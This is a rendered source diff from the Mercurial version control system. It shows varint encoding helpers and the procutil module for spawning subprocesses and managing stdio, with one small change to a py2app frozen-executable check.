3503 tag: a string tag that will be included in the new name
3504 ctx: a context, in which the new name must not exist
3504 ctx: a context, in which the new name must not exist
3505 others: a set of other filenames that the new name must not be in
3505 others: a set of other filenames that the new name must not be in
3506
3506
3507 Returns a file name of the form oldname~tag[~number] which does not exist
3507 Returns a file name of the form oldname~tag[~number] which does not exist
3508 in the provided context and is not in the set of other names.
3508 in the provided context and is not in the set of other names.
3509 """
3509 """
3510 if others is None:
3510 if others is None:
3511 others = set()
3511 others = set()
3512
3512
3513 fn = b'%s~%s' % (f, tag)
3513 fn = b'%s~%s' % (f, tag)
3514 if fn not in ctx and fn not in others:
3514 if fn not in ctx and fn not in others:
3515 return fn
3515 return fn
3516 for n in itertools.count(1):
3516 for n in itertools.count(1):
3517 fn = b'%s~%s~%s' % (f, tag, n)
3517 fn = b'%s~%s~%s' % (f, tag, n)
3518 if fn not in ctx and fn not in others:
3518 if fn not in ctx and fn not in others:
3519 return fn
3519 return fn
3520
3520
3521
3521
3522 def readexactly(stream, n):
3522 def readexactly(stream, n):
3523 '''read n bytes from stream.read and abort if less was available'''
3523 '''read n bytes from stream.read and abort if less was available'''
3524 s = stream.read(n)
3524 s = stream.read(n)
3525 if len(s) < n:
3525 if len(s) < n:
3526 raise error.Abort(
3526 raise error.Abort(
3527 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3527 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3528 % (len(s), n)
3528 % (len(s), n)
3529 )
3529 )
3530 return s
3530 return s
3531
3531
3532
3532
3533 def uvarintencode(value):
3533 def uvarintencode(value):
3534 """Encode an unsigned integer value to a varint.
3534 """Encode an unsigned integer value to a varint.
3535
3535
3536 A varint is a variable length integer of 1 or more bytes. Each byte
3536 A varint is a variable length integer of 1 or more bytes. Each byte
3537 except the last has the most significant bit set. The lower 7 bits of
3537 except the last has the most significant bit set. The lower 7 bits of
3538 each byte store the 2's complement representation, least significant group
3538 each byte store the 2's complement representation, least significant group
3539 first.
3539 first.
3540
3540
3541 >>> uvarintencode(0)
3541 >>> uvarintencode(0)
3542 '\\x00'
3542 '\\x00'
3543 >>> uvarintencode(1)
3543 >>> uvarintencode(1)
3544 '\\x01'
3544 '\\x01'
3545 >>> uvarintencode(127)
3545 >>> uvarintencode(127)
3546 '\\x7f'
3546 '\\x7f'
3547 >>> uvarintencode(1337)
3547 >>> uvarintencode(1337)
3548 '\\xb9\\n'
3548 '\\xb9\\n'
3549 >>> uvarintencode(65536)
3549 >>> uvarintencode(65536)
3550 '\\x80\\x80\\x04'
3550 '\\x80\\x80\\x04'
3551 >>> uvarintencode(-1)
3551 >>> uvarintencode(-1)
3552 Traceback (most recent call last):
3552 Traceback (most recent call last):
3553 ...
3553 ...
3554 ProgrammingError: negative value for uvarint: -1
3554 ProgrammingError: negative value for uvarint: -1
3555 """
3555 """
3556 if value < 0:
3556 if value < 0:
3557 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3557 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3558 bits = value & 0x7F
3558 bits = value & 0x7F
3559 value >>= 7
3559 value >>= 7
3560 bytes = []
3560 bytes = []
3561 while value:
3561 while value:
3562 bytes.append(pycompat.bytechr(0x80 | bits))
3562 bytes.append(pycompat.bytechr(0x80 | bits))
3563 bits = value & 0x7F
3563 bits = value & 0x7F
3564 value >>= 7
3564 value >>= 7
3565 bytes.append(pycompat.bytechr(bits))
3565 bytes.append(pycompat.bytechr(bits))
3566
3566
3567 return b''.join(bytes)
3567 return b''.join(bytes)
3568
3568
3569
3569
3570 def uvarintdecodestream(fh):
3570 def uvarintdecodestream(fh):
3571 """Decode an unsigned variable length integer from a stream.
3571 """Decode an unsigned variable length integer from a stream.
3572
3572
3573 The passed argument is anything that has a ``.read(N)`` method.
3573 The passed argument is anything that has a ``.read(N)`` method.
3574
3574
3575 >>> try:
3575 >>> try:
3576 ... from StringIO import StringIO as BytesIO
3576 ... from StringIO import StringIO as BytesIO
3577 ... except ImportError:
3577 ... except ImportError:
3578 ... from io import BytesIO
3578 ... from io import BytesIO
3579 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3579 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3580 0
3580 0
3581 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3581 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3582 1
3582 1
3583 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3583 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3584 127
3584 127
3585 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3585 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3586 1337
3586 1337
3587 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3587 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3588 65536
3588 65536
3589 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3589 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3590 Traceback (most recent call last):
3590 Traceback (most recent call last):
3591 ...
3591 ...
3592 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3592 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3593 """
3593 """
3594 result = 0
3594 result = 0
3595 shift = 0
3595 shift = 0
3596 while True:
3596 while True:
3597 byte = ord(readexactly(fh, 1))
3597 byte = ord(readexactly(fh, 1))
3598 result |= (byte & 0x7F) << shift
3598 result |= (byte & 0x7F) << shift
3599 if not (byte & 0x80):
3599 if not (byte & 0x80):
3600 return result
3600 return result
3601 shift += 7
3601 shift += 7
@@ -1,637 +1,637 b''
1 # procutil.py - utility for managing processes and executable environment
1 # procutil.py - utility for managing processes and executable environment
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 from __future__ import absolute_import
10 from __future__ import absolute_import
11
11
12 import contextlib
12 import contextlib
13 import errno
13 import errno
14 import imp
14 import imp
15 import io
15 import io
16 import os
16 import os
17 import signal
17 import signal
18 import subprocess
18 import subprocess
19 import sys
19 import sys
20 import time
20 import time
21
21
22 from ..i18n import _
22 from ..i18n import _
23 from ..pycompat import (
23 from ..pycompat import (
24 getattr,
24 getattr,
25 open,
25 open,
26 )
26 )
27
27
28 from .. import (
28 from .. import (
29 encoding,
29 encoding,
30 error,
30 error,
31 policy,
31 policy,
32 pycompat,
32 pycompat,
33 )
33 )
34
34
35 osutil = policy.importmod('osutil')
35 osutil = policy.importmod('osutil')
36
36
37 stderr = pycompat.stderr
37 stderr = pycompat.stderr
38 stdin = pycompat.stdin
38 stdin = pycompat.stdin
39 stdout = pycompat.stdout
39 stdout = pycompat.stdout
40
40
41
41
42 def isatty(fp):
42 def isatty(fp):
43 try:
43 try:
44 return fp.isatty()
44 return fp.isatty()
45 except AttributeError:
45 except AttributeError:
46 return False
46 return False
47
47
48
48
49 # glibc determines buffering on first write to stdout - if we replace a TTY
49 # glibc determines buffering on first write to stdout - if we replace a TTY
50 # destined stdout with a pipe destined stdout (e.g. pager), we want line
50 # destined stdout with a pipe destined stdout (e.g. pager), we want line
51 # buffering (or unbuffered, on Windows)
51 # buffering (or unbuffered, on Windows)
52 if isatty(stdout):
52 if isatty(stdout):
53 if pycompat.iswindows:
53 if pycompat.iswindows:
54 # Windows doesn't support line buffering
54 # Windows doesn't support line buffering
55 stdout = os.fdopen(stdout.fileno(), 'wb', 0)
55 stdout = os.fdopen(stdout.fileno(), 'wb', 0)
56 elif not pycompat.ispy3:
56 elif not pycompat.ispy3:
57 # on Python 3, stdout (sys.stdout.buffer) is already line buffered and
57 # on Python 3, stdout (sys.stdout.buffer) is already line buffered and
58 # buffering=1 is not handled in binary mode
58 # buffering=1 is not handled in binary mode
59 stdout = os.fdopen(stdout.fileno(), 'wb', 1)
59 stdout = os.fdopen(stdout.fileno(), 'wb', 1)
60
60
61 if pycompat.iswindows:
61 if pycompat.iswindows:
62 from .. import windows as platform
62 from .. import windows as platform
63
63
64 stdout = platform.winstdout(stdout)
64 stdout = platform.winstdout(stdout)
65 else:
65 else:
66 from .. import posix as platform
66 from .. import posix as platform
67
67
68 findexe = platform.findexe
68 findexe = platform.findexe
69 _gethgcmd = platform.gethgcmd
69 _gethgcmd = platform.gethgcmd
70 getuser = platform.getuser
70 getuser = platform.getuser
71 getpid = os.getpid
71 getpid = os.getpid
72 hidewindow = platform.hidewindow
72 hidewindow = platform.hidewindow
73 quotecommand = platform.quotecommand
73 quotecommand = platform.quotecommand
74 readpipe = platform.readpipe
74 readpipe = platform.readpipe
75 setbinary = platform.setbinary
75 setbinary = platform.setbinary
76 setsignalhandler = platform.setsignalhandler
76 setsignalhandler = platform.setsignalhandler
77 shellquote = platform.shellquote
77 shellquote = platform.shellquote
78 shellsplit = platform.shellsplit
78 shellsplit = platform.shellsplit
79 spawndetached = platform.spawndetached
79 spawndetached = platform.spawndetached
80 sshargs = platform.sshargs
80 sshargs = platform.sshargs
81 testpid = platform.testpid
81 testpid = platform.testpid
82
82
83 try:
83 try:
84 setprocname = osutil.setprocname
84 setprocname = osutil.setprocname
85 except AttributeError:
85 except AttributeError:
86 pass
86 pass
87 try:
87 try:
88 unblocksignal = osutil.unblocksignal
88 unblocksignal = osutil.unblocksignal
89 except AttributeError:
89 except AttributeError:
90 pass
90 pass
91
91
92 closefds = pycompat.isposix
92 closefds = pycompat.isposix
93
93
94
94
95 def explainexit(code):
95 def explainexit(code):
96 """return a message describing a subprocess status
96 """return a message describing a subprocess status
97 (codes from kill are negative - not os.system/wait encoding)"""
97 (codes from kill are negative - not os.system/wait encoding)"""
98 if code >= 0:
98 if code >= 0:
99 return _(b"exited with status %d") % code
99 return _(b"exited with status %d") % code
100 return _(b"killed by signal %d") % -code
100 return _(b"killed by signal %d") % -code
101
101
102
102
103 class _pfile(object):
103 class _pfile(object):
104 """File-like wrapper for a stream opened by subprocess.Popen()"""
104 """File-like wrapper for a stream opened by subprocess.Popen()"""
105
105
106 def __init__(self, proc, fp):
106 def __init__(self, proc, fp):
107 self._proc = proc
107 self._proc = proc
108 self._fp = fp
108 self._fp = fp
109
109
110 def close(self):
110 def close(self):
111 # unlike os.popen(), this returns an integer in subprocess coding
111 # unlike os.popen(), this returns an integer in subprocess coding
112 self._fp.close()
112 self._fp.close()
113 return self._proc.wait()
113 return self._proc.wait()
114
114
115 def __iter__(self):
115 def __iter__(self):
116 return iter(self._fp)
116 return iter(self._fp)
117
117
118 def __getattr__(self, attr):
118 def __getattr__(self, attr):
119 return getattr(self._fp, attr)
119 return getattr(self._fp, attr)
120
120
121 def __enter__(self):
121 def __enter__(self):
122 return self
122 return self
123
123
124 def __exit__(self, exc_type, exc_value, exc_tb):
124 def __exit__(self, exc_type, exc_value, exc_tb):
125 self.close()
125 self.close()
126
126
127
127
128 def popen(cmd, mode=b'rb', bufsize=-1):
128 def popen(cmd, mode=b'rb', bufsize=-1):
129 if mode == b'rb':
129 if mode == b'rb':
130 return _popenreader(cmd, bufsize)
130 return _popenreader(cmd, bufsize)
131 elif mode == b'wb':
131 elif mode == b'wb':
132 return _popenwriter(cmd, bufsize)
132 return _popenwriter(cmd, bufsize)
133 raise error.ProgrammingError(b'unsupported mode: %r' % mode)
133 raise error.ProgrammingError(b'unsupported mode: %r' % mode)
134
134
135
135
136 def _popenreader(cmd, bufsize):
136 def _popenreader(cmd, bufsize):
137 p = subprocess.Popen(
137 p = subprocess.Popen(
138 tonativestr(quotecommand(cmd)),
138 tonativestr(quotecommand(cmd)),
139 shell=True,
139 shell=True,
140 bufsize=bufsize,
140 bufsize=bufsize,
141 close_fds=closefds,
141 close_fds=closefds,
142 stdout=subprocess.PIPE,
142 stdout=subprocess.PIPE,
143 )
143 )
144 return _pfile(p, p.stdout)
144 return _pfile(p, p.stdout)
145
145
146
146
147 def _popenwriter(cmd, bufsize):
147 def _popenwriter(cmd, bufsize):
148 p = subprocess.Popen(
148 p = subprocess.Popen(
149 tonativestr(quotecommand(cmd)),
149 tonativestr(quotecommand(cmd)),
150 shell=True,
150 shell=True,
151 bufsize=bufsize,
151 bufsize=bufsize,
152 close_fds=closefds,
152 close_fds=closefds,
153 stdin=subprocess.PIPE,
153 stdin=subprocess.PIPE,
154 )
154 )
155 return _pfile(p, p.stdin)
155 return _pfile(p, p.stdin)
156
156
157
157
158 def popen2(cmd, env=None):
158 def popen2(cmd, env=None):
159 # Setting bufsize to -1 lets the system decide the buffer size.
159 # Setting bufsize to -1 lets the system decide the buffer size.
160 # The default for bufsize is 0, meaning unbuffered. This leads to
160 # The default for bufsize is 0, meaning unbuffered. This leads to
161 # poor performance on Mac OS X: http://bugs.python.org/issue4194
161 # poor performance on Mac OS X: http://bugs.python.org/issue4194
162 p = subprocess.Popen(
162 p = subprocess.Popen(
163 tonativestr(cmd),
163 tonativestr(cmd),
164 shell=True,
164 shell=True,
165 bufsize=-1,
165 bufsize=-1,
166 close_fds=closefds,
166 close_fds=closefds,
167 stdin=subprocess.PIPE,
167 stdin=subprocess.PIPE,
168 stdout=subprocess.PIPE,
168 stdout=subprocess.PIPE,
169 env=tonativeenv(env),
169 env=tonativeenv(env),
170 )
170 )
171 return p.stdin, p.stdout
171 return p.stdin, p.stdout
172
172
173
173
174 def popen3(cmd, env=None):
174 def popen3(cmd, env=None):
175 stdin, stdout, stderr, p = popen4(cmd, env)
175 stdin, stdout, stderr, p = popen4(cmd, env)
176 return stdin, stdout, stderr
176 return stdin, stdout, stderr
177
177
178
178
179 def popen4(cmd, env=None, bufsize=-1):
179 def popen4(cmd, env=None, bufsize=-1):
180 p = subprocess.Popen(
180 p = subprocess.Popen(
181 tonativestr(cmd),
181 tonativestr(cmd),
182 shell=True,
182 shell=True,
183 bufsize=bufsize,
183 bufsize=bufsize,
184 close_fds=closefds,
184 close_fds=closefds,
185 stdin=subprocess.PIPE,
185 stdin=subprocess.PIPE,
186 stdout=subprocess.PIPE,
186 stdout=subprocess.PIPE,
187 stderr=subprocess.PIPE,
187 stderr=subprocess.PIPE,
188 env=tonativeenv(env),
188 env=tonativeenv(env),
189 )
189 )
190 return p.stdin, p.stdout, p.stderr, p
190 return p.stdin, p.stdout, p.stderr, p
191
191
192
192
193 def pipefilter(s, cmd):
193 def pipefilter(s, cmd):
194 '''filter string S through command CMD, returning its output'''
194 '''filter string S through command CMD, returning its output'''
195 p = subprocess.Popen(
195 p = subprocess.Popen(
196 tonativestr(cmd),
196 tonativestr(cmd),
197 shell=True,
197 shell=True,
198 close_fds=closefds,
198 close_fds=closefds,
199 stdin=subprocess.PIPE,
199 stdin=subprocess.PIPE,
200 stdout=subprocess.PIPE,
200 stdout=subprocess.PIPE,
201 )
201 )
202 pout, perr = p.communicate(s)
202 pout, perr = p.communicate(s)
203 return pout
203 return pout
204
204
205
205
206 def tempfilter(s, cmd):
206 def tempfilter(s, cmd):
207 '''filter string S through a pair of temporary files with CMD.
207 '''filter string S through a pair of temporary files with CMD.
208 CMD is used as a template to create the real command to be run,
208 CMD is used as a template to create the real command to be run,
209 with the strings INFILE and OUTFILE replaced by the real names of
209 with the strings INFILE and OUTFILE replaced by the real names of
210 the temporary files generated.'''
210 the temporary files generated.'''
211 inname, outname = None, None
211 inname, outname = None, None
212 try:
212 try:
213 infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-')
213 infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-')
214 fp = os.fdopen(infd, 'wb')
214 fp = os.fdopen(infd, 'wb')
215 fp.write(s)
215 fp.write(s)
216 fp.close()
216 fp.close()
217 outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-')
217 outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-')
218 os.close(outfd)
218 os.close(outfd)
219 cmd = cmd.replace(b'INFILE', inname)
219 cmd = cmd.replace(b'INFILE', inname)
220 cmd = cmd.replace(b'OUTFILE', outname)
220 cmd = cmd.replace(b'OUTFILE', outname)
221 code = system(cmd)
221 code = system(cmd)
222 if pycompat.sysplatform == b'OpenVMS' and code & 1:
222 if pycompat.sysplatform == b'OpenVMS' and code & 1:
223 code = 0
223 code = 0
224 if code:
224 if code:
225 raise error.Abort(
225 raise error.Abort(
226 _(b"command '%s' failed: %s") % (cmd, explainexit(code))
226 _(b"command '%s' failed: %s") % (cmd, explainexit(code))
227 )
227 )
228 with open(outname, b'rb') as fp:
228 with open(outname, b'rb') as fp:
229 return fp.read()
229 return fp.read()
230 finally:
230 finally:
231 try:
231 try:
232 if inname:
232 if inname:
233 os.unlink(inname)
233 os.unlink(inname)
234 except OSError:
234 except OSError:
235 pass
235 pass
236 try:
236 try:
237 if outname:
237 if outname:
238 os.unlink(outname)
238 os.unlink(outname)
239 except OSError:
239 except OSError:
240 pass
240 pass
241
241
242
242
243 _filtertable = {
243 _filtertable = {
244 b'tempfile:': tempfilter,
244 b'tempfile:': tempfilter,
245 b'pipe:': pipefilter,
245 b'pipe:': pipefilter,
246 }
246 }
247
247
248
248
249 def filter(s, cmd):
249 def filter(s, cmd):
250 b"filter a string through a command that transforms its input to its output"
250 b"filter a string through a command that transforms its input to its output"
251 for name, fn in pycompat.iteritems(_filtertable):
251 for name, fn in pycompat.iteritems(_filtertable):
252 if cmd.startswith(name):
252 if cmd.startswith(name):
253 return fn(s, cmd[len(name) :].lstrip())
253 return fn(s, cmd[len(name) :].lstrip())
254 return pipefilter(s, cmd)
254 return pipefilter(s, cmd)
255
255
256
256
257 def mainfrozen():
257 def mainfrozen():
258 """return True if we are a frozen executable.
258 """return True if we are a frozen executable.
259
259
260 The code supports py2exe (most common, Windows only) and tools/freeze
260 The code supports py2exe (most common, Windows only) and tools/freeze
261 (portable, not much used).
261 (portable, not much used).
262 """
262 """
263 return (
263 return (
264 pycompat.safehasattr(sys, "frozen")
264 pycompat.safehasattr(sys, "frozen")
265 or pycompat.safehasattr(sys, "importers") # new py2exe
265 or pycompat.safehasattr(sys, "importers") # new py2exe
266 or imp.is_frozen("__main__") # old py2exe
266 or imp.is_frozen("__main__") # old py2exe
267 ) # tools/freeze
267 ) # tools/freeze
268
268
269
269
270 _hgexecutable = None
270 _hgexecutable = None
271
271
272
272
273 def hgexecutable():
273 def hgexecutable():
274 """return location of the 'hg' executable.
274 """return location of the 'hg' executable.
275
275
276 Defaults to $HG or 'hg' in the search path.
276 Defaults to $HG or 'hg' in the search path.
277 """
277 """
278 if _hgexecutable is None:
278 if _hgexecutable is None:
279 hg = encoding.environ.get(b'HG')
279 hg = encoding.environ.get(b'HG')
280 mainmod = sys.modules['__main__']
280 mainmod = sys.modules['__main__']
281 if hg:
281 if hg:
282 _sethgexecutable(hg)
282 _sethgexecutable(hg)
283 elif mainfrozen():
283 elif mainfrozen():
284 if getattr(sys, 'frozen', None) == b'macosx_app':
284 if getattr(sys, 'frozen', None) == 'macosx_app':
285 # Env variable set by py2app
285 # Env variable set by py2app
286 _sethgexecutable(encoding.environ[b'EXECUTABLEPATH'])
286 _sethgexecutable(encoding.environ[b'EXECUTABLEPATH'])
287 else:
287 else:
288 _sethgexecutable(pycompat.sysexecutable)
288 _sethgexecutable(pycompat.sysexecutable)
289 elif (
289 elif (
290 not pycompat.iswindows
290 not pycompat.iswindows
291 and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg'
291 and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg'
292 ):
292 ):
293 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
293 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
294 else:
294 else:
295 _sethgexecutable(
295 _sethgexecutable(
296 findexe(b'hg') or os.path.basename(pycompat.sysargv[0])
296 findexe(b'hg') or os.path.basename(pycompat.sysargv[0])
297 )
297 )
298 return _hgexecutable
298 return _hgexecutable
299
299
300
300
301 def _sethgexecutable(path):
301 def _sethgexecutable(path):
302 """set location of the 'hg' executable"""
302 """set location of the 'hg' executable"""
303 global _hgexecutable
303 global _hgexecutable
304 _hgexecutable = path
304 _hgexecutable = path
305
305
306
306
307 def _testfileno(f, stdf):
307 def _testfileno(f, stdf):
308 fileno = getattr(f, 'fileno', None)
308 fileno = getattr(f, 'fileno', None)
309 try:
309 try:
310 return fileno and fileno() == stdf.fileno()
310 return fileno and fileno() == stdf.fileno()
311 except io.UnsupportedOperation:
311 except io.UnsupportedOperation:
312 return False # fileno() raised UnsupportedOperation
312 return False # fileno() raised UnsupportedOperation
313
313
314
314
315 def isstdin(f):
315 def isstdin(f):
316 return _testfileno(f, sys.__stdin__)
316 return _testfileno(f, sys.__stdin__)
317
317
318
318
319 def isstdout(f):
319 def isstdout(f):
320 return _testfileno(f, sys.__stdout__)
320 return _testfileno(f, sys.__stdout__)
321
321
322
322
323 def protectstdio(uin, uout):
323 def protectstdio(uin, uout):
324 """Duplicate streams and redirect original if (uin, uout) are stdio
324 """Duplicate streams and redirect original if (uin, uout) are stdio
325
325
326 If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's
326 If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's
327 redirected to stderr so the output is still readable.
327 redirected to stderr so the output is still readable.
328
328
329 Returns (fin, fout) which point to the original (uin, uout) fds, but
329 Returns (fin, fout) which point to the original (uin, uout) fds, but
330 may be copy of (uin, uout). The returned streams can be considered
330 may be copy of (uin, uout). The returned streams can be considered
331 "owned" in that print(), exec(), etc. never reach to them.
331 "owned" in that print(), exec(), etc. never reach to them.
332 """
332 """
333 uout.flush()
333 uout.flush()
334 fin, fout = uin, uout
334 fin, fout = uin, uout
335 if _testfileno(uin, stdin):
335 if _testfileno(uin, stdin):
336 newfd = os.dup(uin.fileno())
336 newfd = os.dup(uin.fileno())
337 nullfd = os.open(os.devnull, os.O_RDONLY)
337 nullfd = os.open(os.devnull, os.O_RDONLY)
338 os.dup2(nullfd, uin.fileno())
338 os.dup2(nullfd, uin.fileno())
339 os.close(nullfd)
339 os.close(nullfd)
340 fin = os.fdopen(newfd, 'rb')
340 fin = os.fdopen(newfd, 'rb')
341 if _testfileno(uout, stdout):
341 if _testfileno(uout, stdout):
342 newfd = os.dup(uout.fileno())
342 newfd = os.dup(uout.fileno())
343 os.dup2(stderr.fileno(), uout.fileno())
343 os.dup2(stderr.fileno(), uout.fileno())
344 fout = os.fdopen(newfd, 'wb')
344 fout = os.fdopen(newfd, 'wb')
345 return fin, fout
345 return fin, fout
346
346
347
347
348 def restorestdio(uin, uout, fin, fout):
348 def restorestdio(uin, uout, fin, fout):
349 """Restore (uin, uout) streams from possibly duplicated (fin, fout)"""
349 """Restore (uin, uout) streams from possibly duplicated (fin, fout)"""
350 uout.flush()
350 uout.flush()
351 for f, uif in [(fin, uin), (fout, uout)]:
351 for f, uif in [(fin, uin), (fout, uout)]:
352 if f is not uif:
352 if f is not uif:
353 os.dup2(f.fileno(), uif.fileno())
353 os.dup2(f.fileno(), uif.fileno())
354 f.close()
354 f.close()
355
355
356
356
357 def shellenviron(environ=None):
357 def shellenviron(environ=None):
358 """return environ with optional override, useful for shelling out"""
358 """return environ with optional override, useful for shelling out"""
359
359
360 def py2shell(val):
360 def py2shell(val):
361 b'convert python object into string that is useful to shell'
361 b'convert python object into string that is useful to shell'
362 if val is None or val is False:
362 if val is None or val is False:
363 return b'0'
363 return b'0'
364 if val is True:
364 if val is True:
365 return b'1'
365 return b'1'
366 return pycompat.bytestr(val)
366 return pycompat.bytestr(val)
367
367
368 env = dict(encoding.environ)
368 env = dict(encoding.environ)
369 if environ:
369 if environ:
370 env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ))
370 env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ))
371 env[b'HG'] = hgexecutable()
371 env[b'HG'] = hgexecutable()
372 return env
372 return env
373
373
374
374
375 if pycompat.iswindows:
375 if pycompat.iswindows:
376
376
377 def shelltonative(cmd, env):
377 def shelltonative(cmd, env):
378 return platform.shelltocmdexe( # pytype: disable=module-attr
378 return platform.shelltocmdexe( # pytype: disable=module-attr
379 cmd, shellenviron(env)
379 cmd, shellenviron(env)
380 )
380 )
381
381
382 tonativestr = encoding.strfromlocal
382 tonativestr = encoding.strfromlocal
383 else:
383 else:
384
384
385 def shelltonative(cmd, env):
385 def shelltonative(cmd, env):
386 return cmd
386 return cmd
387
387
388 tonativestr = pycompat.identity
388 tonativestr = pycompat.identity
389
389
390
390
391 def tonativeenv(env):
391 def tonativeenv(env):
392 '''convert the environment from bytes to strings suitable for Popen(), etc.
392 '''convert the environment from bytes to strings suitable for Popen(), etc.
393 '''
393 '''
394 return pycompat.rapply(tonativestr, env)
394 return pycompat.rapply(tonativestr, env)
395
395
396
396
397 def system(cmd, environ=None, cwd=None, out=None):
397 def system(cmd, environ=None, cwd=None, out=None):
398 '''enhanced shell command execution.
398 '''enhanced shell command execution.
399 run with environment maybe modified, maybe in different dir.
399 run with environment maybe modified, maybe in different dir.
400
400
401 if out is specified, it is assumed to be a file-like object that has a
401 if out is specified, it is assumed to be a file-like object that has a
402 write() method. stdout and stderr will be redirected to out.'''
402 write() method. stdout and stderr will be redirected to out.'''
403 try:
403 try:
404 stdout.flush()
404 stdout.flush()
405 except Exception:
405 except Exception:
406 pass
406 pass
407 cmd = quotecommand(cmd)
407 cmd = quotecommand(cmd)
408 env = shellenviron(environ)
408 env = shellenviron(environ)
409 if out is None or isstdout(out):
409 if out is None or isstdout(out):
410 rc = subprocess.call(
410 rc = subprocess.call(
411 tonativestr(cmd),
411 tonativestr(cmd),
412 shell=True,
412 shell=True,
413 close_fds=closefds,
413 close_fds=closefds,
414 env=tonativeenv(env),
414 env=tonativeenv(env),
415 cwd=pycompat.rapply(tonativestr, cwd),
415 cwd=pycompat.rapply(tonativestr, cwd),
416 )
416 )
417 else:
417 else:
418 proc = subprocess.Popen(
418 proc = subprocess.Popen(
419 tonativestr(cmd),
419 tonativestr(cmd),
420 shell=True,
420 shell=True,
421 close_fds=closefds,
421 close_fds=closefds,
422 env=tonativeenv(env),
422 env=tonativeenv(env),
423 cwd=pycompat.rapply(tonativestr, cwd),
423 cwd=pycompat.rapply(tonativestr, cwd),
424 stdout=subprocess.PIPE,
424 stdout=subprocess.PIPE,
425 stderr=subprocess.STDOUT,
425 stderr=subprocess.STDOUT,
426 )
426 )
427 for line in iter(proc.stdout.readline, b''):
427 for line in iter(proc.stdout.readline, b''):
428 out.write(line)
428 out.write(line)
429 proc.wait()
429 proc.wait()
430 rc = proc.returncode
430 rc = proc.returncode
431 if pycompat.sysplatform == b'OpenVMS' and rc & 1:
431 if pycompat.sysplatform == b'OpenVMS' and rc & 1:
432 rc = 0
432 rc = 0
433 return rc
433 return rc
434
434
435
435
436 def gui():
436 def gui():
437 '''Are we running in a GUI?'''
437 '''Are we running in a GUI?'''
438 if pycompat.isdarwin:
438 if pycompat.isdarwin:
439 if b'SSH_CONNECTION' in encoding.environ:
439 if b'SSH_CONNECTION' in encoding.environ:
440 # handle SSH access to a box where the user is logged in
440 # handle SSH access to a box where the user is logged in
441 return False
441 return False
442 elif getattr(osutil, 'isgui', None):
442 elif getattr(osutil, 'isgui', None):
443 # check if a CoreGraphics session is available
443 # check if a CoreGraphics session is available
444 return osutil.isgui()
444 return osutil.isgui()
445 else:
445 else:
446 # pure build; use a safe default
446 # pure build; use a safe default
447 return True
447 return True
448 else:
448 else:
449 return pycompat.iswindows or encoding.environ.get(b"DISPLAY")
449 return pycompat.iswindows or encoding.environ.get(b"DISPLAY")
450
450
451
451
452 def hgcmd():
452 def hgcmd():
453 """Return the command used to execute current hg
453 """Return the command used to execute current hg
454
454
455 This is different from hgexecutable() because on Windows we want
455 This is different from hgexecutable() because on Windows we want
456 to avoid things opening new shell windows like batch files, so we
456 to avoid things opening new shell windows like batch files, so we
457 get either the python call or current executable.
457 get either the python call or current executable.
458 """
458 """
459 if mainfrozen():
459 if mainfrozen():
460 if getattr(sys, 'frozen', None) == b'macosx_app':
460 if getattr(sys, 'frozen', None) == 'macosx_app':
461 # Env variable set by py2app
461 # Env variable set by py2app
462 return [encoding.environ[b'EXECUTABLEPATH']]
462 return [encoding.environ[b'EXECUTABLEPATH']]
463 else:
463 else:
464 return [pycompat.sysexecutable]
464 return [pycompat.sysexecutable]
465 return _gethgcmd()
465 return _gethgcmd()
466
466
467
467
468 def rundetached(args, condfn):
468 def rundetached(args, condfn):
469 """Execute the argument list in a detached process.
469 """Execute the argument list in a detached process.
470
470
471 condfn is a callable which is called repeatedly and should return
471 condfn is a callable which is called repeatedly and should return
472 True once the child process is known to have started successfully.
472 True once the child process is known to have started successfully.
473 At this point, the child process PID is returned. If the child
473 At this point, the child process PID is returned. If the child
474 process fails to start or finishes before condfn() evaluates to
474 process fails to start or finishes before condfn() evaluates to
475 True, return -1.
475 True, return -1.
476 """
476 """
477 # Windows case is easier because the child process is either
477 # Windows case is easier because the child process is either
478 # successfully starting and validating the condition or exiting
478 # successfully starting and validating the condition or exiting
479 # on failure. We just poll on its PID. On Unix, if the child
479 # on failure. We just poll on its PID. On Unix, if the child
480 # process fails to start, it will be left in a zombie state until
480 # process fails to start, it will be left in a zombie state until
481 # the parent wait on it, which we cannot do since we expect a long
481 # the parent wait on it, which we cannot do since we expect a long
482 # running process on success. Instead we listen for SIGCHLD telling
482 # running process on success. Instead we listen for SIGCHLD telling
483 # us our child process terminated.
